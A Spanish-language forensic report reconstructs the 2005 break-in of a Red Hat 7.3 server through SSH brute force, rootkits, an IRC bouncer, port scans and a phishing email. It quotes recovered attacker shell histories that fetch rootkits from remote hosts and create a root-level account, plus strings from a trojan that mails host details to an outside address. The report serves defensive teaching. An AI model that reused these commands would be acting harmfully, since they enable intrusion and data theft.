INFORME TÉCNICO – ANÁLISIS FORENSE Hostname: finanzas S.O.: Red Hat Linux versión 7.3 (Valhalla) Autor: Rafael García O. ÍNDICE INTRODUCCIÓN Breve descripción de lo que nos acontece 1 PRIMEROS PASOS Preparando el sistema 1 ¿POR DÓNDE NOS MOVEMOS? Descubriendo información sobre la víctima 1 BUSCANDO POR DÓNDE EMPEZAR Orientando la investigación 2 CREANDO LA LÍNEA DE TIEMPO Descubriendo cuándo hizo cada acción 3 CREANDO LA LÍNEA DE TIEMPO II El gran hallazgo, el cómo 7 RECAPITULANDO Organizando los hallazgos 8 PROFUNDIZANDO EN EL QUÉ HIZO ¿A qué dedicó el tiempo el intruso? 9 CREANDO LA LÍNEA DE TIEMPO III Su último movimiento 11 DESPEDIDA Y CIERRE Palabras del autor 12 APÉNDICE I Listado de ficheros modificados(del 29 al 31) 13 APÉNDICE II Listado ficheros infectados por el virus Listado de troyanos en el sistema(chkrootkit) 16 INTRODUCCIÓN A lo largo de este informe intentaremos responder a las siguientes preguntas: – ¿Cómo lo hizo? – ¿Qué hizo? – ¿Quién lo hizo? – ¿Desde dónde lo hizo? – ¿Cuándo? Las imágenes del disco duro fueron analizados con las herramientas básicas de un sistema Linux y otras basadas en The Coroner's Toolkit (TCT), Sleuth Kit con su front-end Autopsy. Debido a que esta es una nueva ciencia – análisis forense de computadores - para mi es informe mostrara la metodología usada y quizá pueda servir para fines didácticos. PRIMEROS PASOS Para empezar a andar descargamos del servidor las imágenes cedidas por el Departamento de Seguridad en Cómputo y las descomprimimos. Lo siguiente que se hizo fue verificar los checksum de las imágenes, todas coincidieron, lo que demuestra que se hicieron correctamente. El paso siguiente es montar las imágenes en modo lectura, sin ejecución e ignorando los dispositivos. $sudo mount -o ro,loop,noexec /media/hda1.dd disco Al movernos por la partición montada vemos el fichero /etc/mtab y observamos que el disco duro está particionado de la siguiente manera: hda1 hda2 hda3 hda5 hda6 / /home /var /usr swap Raíz Directorio de los usuarios Datos variables(caches, correos, logs ...) Programas de usuario, documentación,... Memoria de intercambio Con el comando anterior montaremos las particiones tal y como nos indica el fichero mtab, dando por finalizado este apartado. ¿POR DÓNDE NOS MOVEMOS? Cada sistema Linux/Unix tiene sus particularidades, para no llevarnos ninguna sorpresa identificaremos el sistema. Empezaremos por el arranque, al entrar al directorio /boot vemos que usa GRUB, veamos el fichero menu.lst $ sudo less boot/grub/menu.lst ... #boot=/dev/hda default=0 timeout=10 splashimage=(hd0,0)/boot/grub/splash.xpm.gz title Red Hat Linux (2.4.18-3) ... Sabiendo que se trata de Linux Red Hat (2.4.18-3) vamos a mirar el contenido del fichero /etc/redhat-release (he aquí una particularidad de esta distribución). $ sudo less /etc/redhat-release Red Hat Linux release 7.3 (Valhalla) Siguiendo con las particularidades de esta distribución, vamos conocer las IPs que tenía esta máquina y su nombre de red para ello: $ sudo less /etc/hosts # Do not remove the following line, or various programs # that require network functionality will fail. 127.0.0.1 finanzas localhost.localdomain localhost $ ls -l /etc/sysconfig/network-scripts/ -rw-r—r--rw-r—r-... 1 root 1 root root 133 2005-01-20 23:28 ifcfg-eth0 root 135 2005-01-20 23:29 ifcfg-eth0:1 $ less /etc/sysconfig/network-scripts/ifcfg-eth0 DEVICE=eth0 BOOTPROTO=static BROADCAST=192.168.200.255 IPADDR=192.168.200.128 NETMASK=255.255.255.0 NETWORK=192.168.200.0 ONBOOT=yes $ less /etc/sysconfig/network-scripts/ifcfg-eth0:1 DEVICE=eth0:1 BOOTPROTO=static BROADCAST=192.168.100.255 IPADDR=192.168.100.188 NETMASK=255.255.255.0 NETWORK=192.168.100.0 ONBOOT=yes Ya tenemos el nombre de la maquina que es FINANZAS, la cual tenia 2 IPS la 192.168.200.128 y la 192.168.100.188. Hemos recolectado la información necesaria para poder empezar a hacer camino (se hace camino al andar...). BUSCANDO POR DÓNDE EMPEZAR Pensando como si nos trataramos del intruso hemos de intentar analizar su objetivo basico, una cuenta con permisos de administrador. Para ello hacemos un listado del directorio /etc y analizamos los ficheros passwd y passwd-. Entre ellos hay una diferencia de tamaño: $ sudo diff passwd passwd31a32 > weed:x:0:0::/home/weed:/bin/bash En el fichero passwd- se ha añadido el usuario weed con UID y GID 0. Al seguir observando el fichero no vemos nada en especial, pero nos quedamos con la fecha 29-01-2005 15:18. De esta manera sabemos que el intruso para esta hora ya había penetrado en el sistema. Sabemos que se creó el usuario weed vamos al directorio home e intentemos ver si ha dejado algún fichero de log. Viendo el contenido de los ficheros no nos muestra nada interesante, tan sólo la fecha de creación de su directorio home (/home/weed) el día 29 a las 15:17. CREANDO LA LÍNEA DE TIEMPO Tenemos constancia de que el intruso merodeó por el sistema el día 29. Lo que haremos es sacar un listado de todos los ficheros modificados ese día, los anteriores y los posteriores hasta el 31 (que es cuando se paró el sistema definitivamente). $ sudo ls / -RAl | grep 2005-01-29 > ficheros_29_ls Esto me genera el fichero_29_ls(adjunto en el Apéndice I) que contiene un listado de los ficheros modificados el día 29. Mostraré lo más interesante: ... -rwxr-xr-x 2 root root 252844 2005-01-29 22:16 gawk -rwxr-xr-x 2 root root 252844 2005-01-29 22:16 gawk-3.1.0 ---------1 root root 0 2005-01-29 22:16 hdx1 ---------1 root root 0 2005-01-29 22:16 hdx2 -rw-r--r-1 root root 23926 2005-01-29 22:21 ld.so.cache -rwxrwxrwx 1 root root 14 2005-01-29 22:21 ld.so.hash -rw-r--r-1 root root 1381 2005-01-29 22:25 passwd -rw------1 root root 1414 2005-01-29 22:18 passwd-r-------1 root root 921 2005-01-29 22:25 shadow ... -rw-r--r-1 root root 27 2005-01-29 11:02 webalizer.hist -rwxr-xr-x 1 root root 24056 2005-01-29 22:26 -rw-rw---1 root root 0 2005-01-29 22:17 weed drwxr-xr-x 2 523 523 4096 2005-01-29 22:36 w00t drwxr-xr-x 2 657 226 4096 2005-01-29 22:48 log drwxr-xr-x 2 657 226 4096 2005-01-29 22:49 motd -rw------1 root root 7 2005-01-29 22:46 psybnc.pid -rw------1 root root 356 2005-01-29 22:46 psybnc.log -rw------1 root root 0 2005-01-29 22:48 USER1.TRL -rw------1 root root 1543 2005-01-29 22:49 USER1.MOTD -rw-r--r-1 root root 0 2005-01-29 22:36 200.207.pscan.139 ... Lo primero que llama la atención son los dispositivos hdx1 y hdx2. En la página http://www.viruslibrary.com/virusinfo/Linux.RST.htm encontraran más información sobre este virus. Por lo visto o el intruso al acceder al sistema se aseguró una cuenta de administrador y luego con algún zapper borró todos los registros, quizá en alguna de sus herramientas estuviese infectada por el virus y no era consciente de ello. También cabe la posibilidad de que le interesara dejar el virus instalado por si el administrador detectaba las puertas traseras instaladas. Ambas situaciones son viables. También me parece curioso el fichero que hay entre webalizer.hist y weed, si te fijas no tiene nombre (en realidad es un espacio en blanco). La verdad es que el listado ha sido muy productivo porque vemos que hay ficheros que hacen referencia a psybnc (un bouncer) a pscan (port scanner), etc... En el listado vemos que nos ha dejado historiales de bash, son fichero que almacenan todos los comandos ejecutados por cada usuario. El siguiente en nuestra línea de tiempo (29-01-2005 15:22:20) sería el historial del usuario root veamos el contenido: $ sudo cat root/.bash_history ls dir ps xc wget xhack.150m.com/sc.tgz tar -zxvf sc.tgz cd sc ./inst ./sk w wget xhack.150m.com/https perl https cd .. rmrm -rf sc* Conecto a xhack.150.com y descargó(seguramente) un rootkit y lo instaló. Hagamos nosotros lo mismo (excepto instalarlo), lo descargamos y miramos exactamente qué hay. Nos salen tres ficheros: inst, login y sk. Mirando con less vemos que el primero es un script: 1.- Crea el directorio/usr/share/.X12-kernel y se desplaza allí. 2.- Crea un fichero llamado .sniffer 3.- Genera el fichero sk (mediante un echo con el código binario comprimido y lo descomprime) 4.- Luego crea una copia del fichero /sbin/init llamándola / sbin/initsk12 5.- Copia sk encima /sbin/init Los otros dos ficheros son binarios, sacaremos mas información de ellos con file: $ file login login: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), stripped $ file sk sk: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped Al ejecutar el comando strings con el fichero login he identificado el rootkit: SuckIT. Es capaz de ocultar PID's , ficheros, conexiones (tcp, udp y raw), también integra un shell TTY para acceso remoto(fichero login). Otros ficheros relacionados con SuckIT son /etc/ld.so.hash y / etc/ld.so.cache (donde se guardan opciones definidas en la instalación, están encriptadas). Acto seguido lo que hace es descargar el fichero https que es un script en perl que se encarga de conectar al un servidor de IRC, en este caso a eu.undernet.org(puerto 6667) , al canal aseasi. Dejando la máquina conectada esperando instrucciones, dejándola lo que se considera zombie. Después el intruso borró las evidencias. Todo esto lo debió hacer conectando por SSH porque la hora de modificación del fichero /root/.bash_history es 15:22:20 y la del .ssh es dos segundos más tarde (15:22:22). El siguiente historial se encuentra en el directorio raíz, algo poco frecuente. Puede ser que accediera desde la puerta trasera instalada y no se diera cuenta de que había creado un fichero de registro allí. Miremos el contenido de este fichero: $ sudo less .bash_history id /usr/sbin/adduser -g 0 -u 0 -o weed passwd weed /sbin/ifconfig | grep "inet" ls -sa dir /usr/sbin/userdel weed ls -sa dir rm -rf za* rm -rf own /usr/sbin/adduser -g 0 -u 0 -o weed passwd weed wget www.zetu.as.ro/crk.tar.gz tar xzvf crk.tar.gz cd crk ./install eliteaza 1 id su cd crk dir ./install eliteaz 9933 SSH -l weed localhost ls -sa dir passwd weed SSH -l weed localhost eliteazazel userdel weed /usr/sbin/userdel weed ls =-sa dir rm -rf own cd sc dir cd .. rm -rf sc* cd /var/log dir mkdir daemon wget www.zetu.as.ro/pico chmod +x pico mv pico " " " " /usr//sbin/killall -9 zbind /usr/sbin/killall -9 zbind /usr/bin/killall -9 zbind export PATH="." Veamos, crea el usuario weed. También que descarga crk.tar.gz y lo instala. El fichero crk es un backdoor para el demonio sshd (le puso el password eliteaz y abrió el puerto 9933), más adelante haremos un análisis detallado. Comprueba que el backdoor se ha instalado intentando conectar al servicio de SSH. Descubrimos el fichero que era mostrado como un espacio en blanco por ls, era el editor pico(una versión troyanizada) que renombró al pico original, la ejecuto y he hizo una copia dejándole el nombre de fichero como un espacio en blanco Analicemos los dos ficheros: crk y pico. Al descomprimir y desempaquetar crk nos encontramos con lo siguiente: -rw-r—r-- 1 leptom leptom 430885 2002-01-14 07:42 bin.tgz -rw-r—r-- 1 leptom leptom 519 2002-10-06 04:51 conf.tgz -rwxr-xr-x 1 leptom leptom 6427 2005-01-05 09:10 install -rw-r—r-- 1 leptom leptom 28999 2001-01-12 13:15 lib.tgz El script install paso a paso: – Descomprime los ficheros tgz y los borra. – Acto seguido mata el demonio syslogd, así no quedan registradas las acciones en el sistema. – También hace alguna modificación al fichero /bin/login(2901-2005 15:36). – Y comienza la instalación del rootkit realmente. – Como nuestro intruso le pasó un puerto y una clave el script install se encarga de codificar la clave y guardarla en: /etc/ld.so.hash y /lib/libext-2.so.7 (29-01-2005 15:21:50). – Copia el contenido de conf.tgz en /usr/include (es fácil identificarlos por la fecha). – Se instala como servicio en el arranque (/etc/rc.d/init.d/cycomm) Dentro del fichero conf.tgz hay un fichero llamado lidps1.h que indica los procesos a ocultar. Mirando con un poco de detenimiento el fichero login modificado: $ strings bin/login | less ... Login incorrect main login: Out of memory Out of memory initgroups: %m .hushlogin %s/%s ... Esta versión modificada del login no tiene buena pinta. ¿Para qué necesita el .hushlogin? $ nm login nm: login: no hay símbolos $ ldd login not a dynamic executable No podemos ver ni los símbolos, ni las librerias a las que está enlazado. Bueno por lo menos sabemos que es una versión modificada del login. Analizaremos el programa pico que también ha sido sustituido: $ strings pico ... socket bind listen Port for Alinutu :P PID = %d touch /tmp/.info; hostname -i >> /tmp/.info; uname -a >> / tmp/.info; cat /etc/*release >> /tmp/.info; /sbin/ifconfig | grep inet>> /tmp/.info; cat /tmp/.info | mail -s 'Port nou'[email protected] /usr/tmp /dev/null ... Curioso, abre un socket y envía información(nombre del host, kernel, release...) a [email protected] Buscando la dirección en google no encuentro nada, pero si busco radauti me sale bastante información sobre una ciudad de Romania, probablemente tenga mucho que ver con el origen del intruso. CREANDO LA LÍNEA DE TIEMPO II Siguiendo el listado de ficheros modificados el día 29 le toca el turno al fichero weed. Al localizarlo vemos que hace referencia al home, donde no hay mucho que hacer. Sin embargo otro fichero nos lleva a / var/spool/mail/weed Este tampoco nos da información, está vacío (como el de Contador) pero el de root tiene algo, veamos su contenido: $ sudo less var/spool/mail/root ... Failed logins from these: root/password from 67.19.122.170: 82 time(s) **Unmatched Entries** input_userauth_request: illegal user test Failed password for illegal user test from 67.19.122.170 port 34645 ssh2 Received disconnect from 67.19.122.170: 11: Bye Bye input_userauth_request: illegal user test Failed password for illegal user test from 67.19.122.170 port 42146 ssh2 Received disconnect from 67.19.122.170: 11: Bye Bye ... El intruso se dedicó a crackear el ordenador de manera automática. A lo largo del fichero se ve todos los intentos realizados, segun la dificultad del password del root esto podría ser la causa de la intrusión. En la cabecera del primer mail se ve la fecha de inicio que es 2101-2005 04:02:01. Revisando todo el fichero logra acceder el 29-01-2005 15:30:00. Las horas de inicio y fin no son exactas (es la hora de la llegada del mail). El día del acceso se deduce porque el mail ese día avisa de la ausencia del fichero de log del SSH. El administrador debiera haberse percatado de que estaba padeciendo un ataque, tenía una cantidad de mails con más de 10.000 avisos de intentos de acceso fallidos. El intruso usó varias máquinas para acceder, otros servidores zombie (como este): 61.220.91.20 63.247.140.66 64.151.73.180 67.19.122.170 67.19.179.50 81.181.141.21 148.231.192.8 159.148.91.124 195.159.120.8 203.131.125.156 209.0.206.183 209.152.182.194 210.0.186.2 211.251.242.68 212.93.136.214 216.116.104.39 218.151.155.35 218.200.36.124 Taiwan Australia Australia Australia Australia Amsterdam Mexico Latvia Noruega Australia Colorado Colorado Australia Australia Romanía California Australia Australia información sacada de http://mendoza777.en.eresmas.com/localizador_de_ip.htm Al ver todas estas direcciones y los “saltos” que da me temo que tiene muchas máquinas zombies. Curiosamente una es de Romanía, quizá el intruso se impacientó y lo hizo desde su propio ordenador. RECAPITULANDO Respondiendo a las preguntas iniciales ya sabemos: – Cómo accedió al sistema: crackeando una cuenta remota del servidor SSH – Desde dónde lo hizo: Listado de IPs previo) – Quién lo hizo: Su posible nacionalidad es Rumana – Cuándo lo hizo: 29-01-2005 aprox. 15:15:00 – Qué hizo: instalar troyanos, enviarse datos sobre el host, dejar la máquina zombie... PROFUNDIZANDO EN EL QUÉ HIZO Con el informe así ya podríamos ser capaces de localizar al intruso (con el listado de IPs poniéndose en contacto con los diferentes ISPs) pero aun nos quedan muchos cabos por atar, por ejemplo al principio vimos “rastros” de un bouncer. Prosigamos mirando la lista de ficheros modificados el 29. Le toca el turno al directorio w00t, se encuentra en /var/tmp/w00t, pero justo antes de llegar hay más directorios y archivos “interesantes”. $ ls -al total 1304 drwxrwxrwt drwxr-xr-x -rw------drwxr-xr-x -rw-r—r-drwxr-xr-x -rw-r—r-drwxr-xr-x 5 root 20 root 1 root 8 657 1 root 2 505 1 root 2 523 root root root 226 root 505 root 523 4096 2005-01-31 18:54 . 4096 2005-01-20 16:57 .. 606 2005-01-31 19:03 .bash_history 4096 2005-01-31 10:12 psybnc 957521 2004-07-28 01:14 psybnc.tgz 4096 2005-01-31 19:02 selena 342006 2004-11-27 13:17 selena.tgz 4096 2005-01-29 22:36 w00t Listaremos el contenido de bash_history, pero hemos de fijarnos en que el directorio w00t es del día 29 y el resto del 31: $ sudo less .bash_history w cd /var/tmp ls -sa dir rm -rf /tmp/* cd /var/log dir exit id cd /var/tmp ls dir wget www.zetu.as.ro/woot.tgz tar xvfz woot.tgz cd w00t ./asmb 200.207 ls dir cd /dev/shm dir wget www.zetu.as.ro/psyz.tar.gz tar xzvf psyz.tar.gz rm -rf psyz.tar.gz mv psybnc local cd local rm -rf psybnc.conf* wget www.zetu.as.ro/psybnc/psybnc.conf mv psybnc "ps ax" export PATH="." "ps ax" cd var/tmp dir rm -rf woot.tgz dir wget www.zetu.as.ro/psybnc.tgz tar xvfz psybnc.tgz cd psybnc ./psybnc w exit w ps aux cd /var/tmp ls dir wget http://www.plus.factory.home.ro/selena.tgz tar xvfz selena.tgz cd selena ./assl 217.172 Lo primero que hace es descargar w00t.tgz que son una serie de utilidades. Después hace un escaneo de la red de la clase B 200.207 buscando máquinas con el puerto de netbios abierto(139). Luego descargó e instaló el psyz, que es el psybnc con el nombre cambiado (un bouncer para conectar al IRC). Mas información en http://www.psybnc.info/ Descargo un fichero llamado selena.tgz donde tiene una serie de exploits y utilidades, entre ellas un script llamado assl que lo utilizó buscando más ordenadores con assl(escaner que buscar servidores apache con OpenSSL vulnerable) en la red 217.172. El intruso dejó en este caso mucha “basura” por los directorios. Continuando con la lista de lo que pasó el día 29 tenemos ficheros que hacen referencia al webalizer (aplicación para analizar los logs del servidor web), pero no observo nada que llame la atención. Sin embargo, los siguientes ficheros son del bouncer instalado pero uno si que es interesante el var/tmp/psybnc/motd/USER1.MOTD nos indica la primera conexión que hizo al irc por medio de esta máquina(29-01-2005 15:49). Retrocediendo en el árbol de directorio observamos que hay un fichero llamado USER1.log: $ sudo cat USER1.LOG ~Mon Jan 31 03:12:48 :([email protected]) wa mui baga aazeii aia ji la mine .. No se lo que pone, pero... quizá sea rumano(nos acercaría a la dirección de mail que teníamos anteriormente). De esta manera hemos revisado manualmente todos los ficheros modificados el día 29. CREANDO LÍNEA DE TIEMPO III Tal como hicimos al principio sacamos un listado de todos los ficheros modificados el día 29. Ahora haremos lo mismo pero con los días posteriores hasta que el 31 (último momento en que la máquina estuvo activa). Intentando seleccionar los ficheros más relevantes del día 30, veo que el primer fichero del listado(véase Apéndice I) es el cp, no le veo nada aparentemente raro. Pero,¿qué pasa con el virus? El virus ha podido estar infectando ficheros en este tiempo. Barajando esta posibilidad iré a ficheros en concreto que no puedan haber sido descargados por el intruso, al final en el Apéndice II encontrarás un listado de ficheros afectados por el virus y un script que localicé por internet que busca ficheros afectados por este virus. Como a simple vista no hay nada “interesante”, generamos la lista de los ficheros modificados el día 31. Hay muchos ficheros que ya los vimos anteriormente. Advierto dos ficheros que pertenecen a la cola de correo que el usuario root ha enviado, pero que todavía no han salido (var/spool/mqueue). Entre los dos ficheros forman un mail enviado de la WAMU (Washington Mutual) para que confirme su cuenta “on line” bancaria. Al mirar el adjunto vemos que hay un link a una página segura, supuestamente del servidor de wamu, pero no, el link te lleva a 200.180.33.94 (que no tiene nada que ver con la Wamu). Esta IP pertenece a la LACNIC(www.lacnic.net) allí haciendo una consulta vemos que la ip pertenece a un dominio brasileño. Fraudes por correo electrónico? robo de contraseñas? el intruso de este sistema apunta lejos ;-) DESPEDIDA Y CIERRE - omitido - APENDICE I Listado de ficheros modificados día 29 -rw------1 root drwxr-xr-x 18 root drwxr-xr-x 39 root drwxr-xr-x 5 root drwxr-xr-x 7 root drwxr-x--3 root drwxr-xr-x 2 root -rwxr-xr-x 1 root -rwxr-xr-x 2 root -rwxr-xr-x 2 root ---------1 root ---------1 root -rw-r--r-1 root -rwxrwxrwx 1 root -rw-r--r-1 root -rw------1 root -r-------1 root -rw------1 root drwxr-xr-x 2 root -rwxr-xr-x 1 root drwx-----2 root -rw-r--r-1 root -rw-r--r-1 root -rw-r--r-1 root -rwxr-xr-x 1 root lrwxrwxrwx 1 root libproc.so.2.0.6 -rw------1 root drwx-----2 root -rw-r--r-1 root -rwxr-xr-x 1 root -rwxr-xr-x 1 root -rw-r--r-1 root drwxr-xr-x 64 root -rw-r--r-1 500 -rw-r--r-1 root -rw-r--r-1 root -rwxr-xr-x 1 root -rw-rw---1 root drwxr-xr-x 2 523 drwxr-xr-x 2 657 drwxr-xr-x 2 657 -rw------1 root -rw------1 root -rw------1 root -rw------1 root -rw-r--r-1 root -rw-r--r-1 root ctry_usage_200501.png -rw-r--r-1 root daily_usage_200501.png -rw-r--r-1 root hourly_usage_200501.png -rw-r--r-1 root -rw-r--r-1 root -rw-r--r-1 root root root root root root root root root root root root root root root root root root root root root root root root root root root 665 86016 4096 4096 4096 4096 4096 20776 252844 252844 0 0 23926 14 1381 1414 921 980 4096 55 4096 24 191 124 14 16 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 22:27 22:16 22:25 22:17 22:21 22:22 22:22 22:21 22:16 22:16 22:16 22:16 22:21 22:21 22:25 22:18 22:25 22:22 22:21 22:21 22:17 22:17 22:17 22:17 22:21 22:19 .bash_history dev etc home lib root sbin chmod gawk gawk-3.1.0 hdx1 hdx2 ld.so.cache ld.so.hash passwd passwdshadow shadowinit.d cycomm weed .bash_logout .bash_profile .bashrc libext-2.so.7 libproc.so -> root root root root root root root 500 root root root root 523 226 226 root root root root root root 133 4096 219 33348 26920 0 8192 154 1987 27 24056 0 4096 4096 4096 7 356 0 1543 0 2293 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 2005-01-29 22:22 22:22 22:22 22:22 22:22 22:27 22:21 22:21 11:02 11:02 22:26 22:17 22:36 22:48 22:49 22:46 22:46 22:48 22:49 22:36 11:02 .bash_history .ssh known_hosts init initsk12 .info include hosts.h webalizer.current webalizer.hist root 2723 2005-01-29 11:02 root 1701 2005-01-29 11:02 root root root weed w00t log motd psybnc.pid psybnc.log USER1.TRL USER1.MOTD 200.207.pscan.139 3679 2005-01-29 11:02 index.html 49371 2005-01-29 11:02 usage_200501.html 2105 2005-01-29 11:02 usage.png Listado de ficheros modificados día 30 -rwxr-xr-x drwx-----drwx-----drwx------rw-r--r--rw-r--r--rw-r--r--rw-r--r--rw-r--r--rw-r--r--rw-r--r-drwxrwxr-x -rw-r--r--rw-r--r--rw-------rw-------rw-------rw-------rw------- 1 2 2 2 1 1 1 1 1 1 1 3 1 1 1 1 1 1 1 root root root root root root root root root root root root root root root root root root root root root root root root root root root root root root 54 root root root root root root root 45119 4096 4096 4096 0 0 0 0 0 0 88032 4096 0 0 9 0 0 671 671 2005-01-30 2005-01-30 2005-01-30 2005-01-30 2005-01-30 2005-01-30 2005-01-30 2005-01-30 2005-01-30 2005-01-30 2005-01-30 2005-01-30 2005-01-30 2005-01-30 2005-01-30 2005-01-30 2005-01-30 2005-01-30 2005-01-30 11:22 11:02 11:22 11:02 11:02 11:02 11:02 11:02 11:02 11:02 11:22 11:22 11:22 11:22 11:22 11:02 11:02 00:53 00:53 cp logwatch.XXLltDIY makewhatisLZwx4z makewhatisnuAB1j cron maillog messages samba secure xferlog w lock whatis makewhatis.lock cron.weekly dfj0UA22F27603 xfj0UA22F27603 psybnc.conf psybnc.conf.old Listado de ficheros modificados día 31 drwxrwxrwt -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwsr-xr-x -rwxr-xr-x drwxr-xr-x -rw-r--r--rw-r--r-drwxr-xr-x drwxrwxrwt -rw-r--r-drwxr-xr-x drwxr-x---rw-r-----rw-r--r-drwxrwxr-x drwxr-xr-x -rw-------rw-------rw-------rw-------rw------drwxr-xr-x drwxr-xr-x -rw-------rw-r--r--rw-r--r--rw-r--r--rwxr-xr-x 5 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 2 1 1 2 5 1 2 2 1 1 2 2 1 1 1 1 1 8 2 1 1 1 1 1 root root root root root root root root root root root root root root root root root root root root root root root root 37 root root root root root root root root root root 657 505 root root root root 505 root root root root root root root root root root man root root root root root root root root root root root root root operator fax fax root man man root root root root root 226 505 root root root root 505 4096 25183 27039 73464 37375 35135 91823 21185 28863 55647 75251 26751 24319 12995 21711 108932 43951 25459 4096 628 0 4096 4096 665 4096 4096 509509 9209 4096 4096 9 583353 6500 654 606 4096 4096 105 33611 33611 11111 18696 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 20:31 19:03 19:03 19:03 19:03 19:03 19:03 19:03 19:03 19:03 19:03 19:03 19:03 19:03 19:03 19:03 19:03 19:03 22:25 22:20 22:25 11:02 18:54 11:02 11:02 11:12 11:12 11:02 22:20 22:20 11:02 22:20 20:31 21:59 19:03 10:12 19:02 10:12 19:02 19:02 19:03 19:02 tmp chgrp chown cpio dd df ed hostname ln ls mail mkdir mknod mktemp mt netstat ping setserial mrtg statistics mrtg.ok log tmp logrotate.status rpm slocate slocate.db rpmpkgs mail mqueue cron.daily root dfj0VJV0A25551 qfj0VJV0A25551 .bash_history psybnc selena USER1.LOG 217.172.pscan.443 217.172.ssl 217.172.ssl.out oops -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rwxr-xr-x 1 1 1 1 1 505 505 505 505 505 505 505 505 505 505 46379 23070 46218 29061 46218 2005-01-31 2005-01-31 2005-01-31 2005-01-31 2005-01-31 19:03 19:03 19:03 18:54 19:03 ssl sslex sslx ssvuln ssx APENDICE II Listado de ficheros infectados por Linux.RST Fichero: Fichero: Fichero: Fichero: Fichero: Fichero: Fichero: Fichero: Fichero: Fichero: Fichero: Fichero: Fichero: Fichero: Fichero: Fichero: Fichero: Fichero: Fichero: Fichero: Fichero: Fichero: disco/bin/chgrp INFECTADO disco/bin/chmod INFECTADO disco/bin/chown INFECTADO disco/bin/cp INFECTADO disco/bin/cpio INFECTADO disco/bin/dd INFECTADO disco/bin/df INFECTADO disco/bin/ed INFECTADO disco/bin/gawk INFECTADO disco/bin/gawk-3.1.0 INFECTADO disco/bin/hostname INFECTADO disco/bin/ln INFECTADO disco/bin/ls INFECTADO disco/bin/mail INFECTADO disco/bin/mkdir INFECTADO disco/bin/mknod INFECTADO disco/bin/mktemp INFECTADO disco/bin/mt INFECTADO disco/bin/netstat INFECTADO disco/bin/ping INFECTADO disco/bin/setserial INFECTADO disco/sbin/init INFECTADO Listado de ficheros troyanizados (salida de chkrootkit) ROOTDIR is `/' Checking `amd'... not found Checking `basename'... not infected Checking `biff'... not found Checking `chfn'... not infected Checking `chsh'... not infected Checking `cron'... not infected Checking `date'... not infected Checking `du'... not infected Checking `dirname'... not infected Checking `echo'... not infected Checking `egrep'... not infected Checking `env'... not infected Checking `find'... not infected Checking `fingerd'... not infected Checking `gpm'... not infected Checking `grep'... not infected Checking `hdparm'... not infected Checking `su'... not infected Checking `ifconfig'... not infected Checking `inetd'... not tested Checking `inetdconf'... not found Checking `identd'... not infected Checking `init'... not infected Checking `killall'... not infected Checking `ldsopreload'... not infected Checking `login'... not infected Checking `ls'... not infected Checking `lsof'... not found Checking `mail'... not infected Checking `mingetty'... not infected Checking `netstat'... not infected Checking `named'... not infected Checking `passwd'... not infected Checking `pidof'... not infected Checking `pop2'... not found Checking `pop3'... not found Checking `ps'... not infected Checking `pstree'... not infected Checking `rpcinfo'... not infected Checking `rlogind'... not infected Checking `rshd'... not infected Checking `slogin'... not infected Checking `sendmail'... not found Checking `sshd'... not infected Checking `syslogd'... not infected Checking `tar'... not infected Checking `tcpd'... not infected Checking `tcpdump'... not infected Checking `top'... not infected Checking `telnetd'... not infected Checking `timed'... not found Checking `traceroute'... not infected Checking `vdir'... not infected Checking `w'... not infected Checking `write'... not infected Checking `aliens'... /etc/ld.so.hash Searching for sniffer's logs, it may take a while... nothing found Searching for HiDrootkit's default dir... nothing found Searching for t0rn's default files and dirs... nothing found Searching for t0rn's v8 defaults... Possible t0rn v8 \(or variation\) rootkit installed Searching for Lion Worm default files and dirs... nothing found Searching for RSHA's default files and dir... nothing found Searching for RH-Sharpe's default files... nothing found Searching for Ambient's rootkit (ark) default files and dirs... nothing found Searching for suspicious files and dirs, it may take a while... /usr/lib/perl5/5.6.1/i386-linux/.packlist Searching Searching Searching Searching Searching Searching Searching Searching Searching Searching Searching Searching Searching Searching Searching Searching Searching Searching Searching Searching Searching Searching Searching Searching Searching installed Searching Searching Searching for for for for for for for for for for for for for for for for for for for for for for for for for LPD Worm files and dirs... nothing found Ramen Worm files and dirs... nothing found Maniac files and dirs... nothing found RK17 files and dirs... nothing found Ducoci rootkit... nothing found Adore Worm... nothing found ShitC Worm... nothing found Omega Worm... nothing found Sadmind/IIS Worm... nothing found MonKit... nothing found Showtee... Warning: Possible Showtee Rootkit installed OpticKit... nothing found T.R.K... nothing found Mithra... nothing found OBSD rk v1... nothing found LOC rootkit... nothing found Romanian rootkit... /usr/include/file.h /usr/include/proc.h HKRK rootkit... nothing found Suckit rootkit... Warning: /sbin/init INFECTED Volc rootkit... nothing found Gold2 rootkit... nothing found TC2 Worm default files and dirs... nothing found Anonoying rootkit default files and dirs... nothing found ZK rootkit default files and dirs... nothing found ShKit rootkit default files and dirs... Possible ShKit rootkit for AjaKit rootkit default files and dirs... nothing found for zaRwT rootkit default files and dirs... nothing found for 